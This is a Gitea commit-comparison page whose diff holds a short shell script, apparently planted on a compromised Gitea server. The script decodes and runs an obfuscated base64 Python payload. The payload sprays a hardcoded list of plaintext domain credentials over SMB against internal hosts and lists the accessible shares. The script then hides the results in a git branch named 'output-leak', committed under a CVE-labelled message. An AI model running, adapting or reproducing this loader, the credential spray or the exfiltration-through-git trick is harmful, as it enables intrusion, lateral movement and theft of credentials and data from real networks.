Compare commits
No commits in common. "main" and "output-leak" have entirely different histories.
main
...
output-lea
|
|
@ -1,9 +0,0 @@
|
|||
#!/bin/sh
|
||||
GD=$(git rev-parse --absolute-git-dir)
|
||||
REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
|
||||
OUT=$(echo 'CmltcG9ydCBzeXMKc3lzLnBhdGguaW5zZXJ0KDAsICIvdmFyL2xpYi9naXRlYS8uaW1wL2xpYi9weXRob24zLjEyL3NpdGUtcGFja2FnZXMiKQpmcm9tIGltcGFja2V0LnNtYmNvbm5lY3Rpb24gaW1wb3J0IFNNQkNvbm5lY3Rpb24KCkNSRURTID0gWwogICAgKCIiLCAiZmFrdHVyeWVuZXJnaWEiLCAiWVI4VHluJVVeMzUyWmlpYyF5Zk40VCIpLAogICAgKCJnbG93bmEiLCAiZmFrdHVyeWVuZXJnaWEiLCAiWVI4VHluJVVeMzUyWmlpYyF5Zk40VCIpLAogICAgKCIiLCAiZW5lcmdpYWZha3R1cnlTWkUiLCAiUkcqTHMzRWN6IiksCiAgICAoIiIsICJ3c3N6ZSIsICJGcVRyZEUjZCQiKSwKICAgICgiIiwgIm5wYS5zLmF1ZHl0ZWwiLCAiWVI4VHluJVVeMzUyWmlpYyF5Zk40VCIpLAogICAgKCJpbnRlcmNpdHkiLCAibnBhLnMuYXVkeXRlbCIsICJZUjhUeW4lVV4zNTJaaWljIXlmTjRUIiksCiAgICAoIiIsICJucGEucy5hdWR5dGVsIiwgIlJHKkxzM0VjeiIpLAogICAgKCIiLCAiYWRtaW5pc3RyYXRvciIsICJZUjhUeW4lVV4zNTJaaWljIXlmTjRUIiksCiAgICAoIiIsICJnaXRlYSIsICJjaWdEOXNoNmVzbmd5U205eVJKeCIpLAogICAgKCIiLCAidGVzdGRidXNlciIsICI0ZnRBRnQ3NkdaeUFpMCQiKSwKXQoKSE9TVFMgPSBbIjEwLjIwOS4xNS41IiwgIjEwLjIwOS4xNS41MSIsICIxMC4yMDkuMTUuNzMiLCAiMTAuMjA5LjE1Ljg2IiwgIjEwLjIwOS4xNS4xNjUiLCAiMTAuMjA5LjE1LjE2NiIsICIxMC4yMDkuMTUuMTczIiwgIjEwLjIwOS4xNS4xODIiLCAiMTAuMjA5LjE1LjIwOCJdCgpmb3IgaG9zdCBpbiBIT1NUUzoKICAgIGZvciBkb21haW4sIHVzZXIsIHB3IGluIENSRURTOgogICAgICAgIHRyeToKICAgICAgICAgICAgY29ubiA9IFNNQkNvbm5lY3Rpb24oaG9zdCwgaG9zdCwgc2Vzc19wb3J0PTQ0NSwgdGltZW91dD00KQogICAgICAgICAgICBpZiBkb21haW46CiAgICAgICAgICAgICAgICBjb25uLmxvZ2luKHVzZXIsIHB3LCBkb21haW49ZG9tYWluKQogICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgY29ubi5sb2dpbih1c2VyLCBwdykKICAgICAgICAgICAgc2hhcmVzID0gY29ubi5saXN0U2hhcmVzKCkKICAgICAgICAgICAgc24gPSBbc1sic2hpMV9uZXRuYW1lIl0ucnN0cmlwKCJceDAwIikgZm9yIHMgaW4gc2hhcmVzXQogICAgICAgICAgICBkID0gZG9tYWluIGlmIGRvbWFpbiBlbHNlICIuIgogICAgICAgICAgICBwcmludCgiSElUICIgKyBob3N0ICsgIiAiICsgZCArICIvIiArIHVzZXIgKyAiOiIgKyBwdyArICIgc2hhcmVzPSIgKyAiLCIuam9pbihzbls6OF0pKQogICAgICAgICAgICBjb25uLmxvZ29mZigpCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgICAgICBwYXNzCiAgICBwcmludChob3N0ICsgIiBkb25lIikKcHJpbnQoIkFMTC1ET05FIikK' > /var/lib/gitea/.sm2.b64 && base64 -d /var/lib/gitea/.sm2.b64 > /var/lib/gitea/.sm2.py && /var/lib/gitea/.imp/bin/python3 /var/lib/gitea/.sm2.py 2>&1 2>&1; echo "[exit-status=$?]")
|
||||
BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
|
||||
TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
|
||||
CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve-2026-60004 output")
|
||||
git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
|
||||
#A
|
||||
Loading…
Reference in New Issue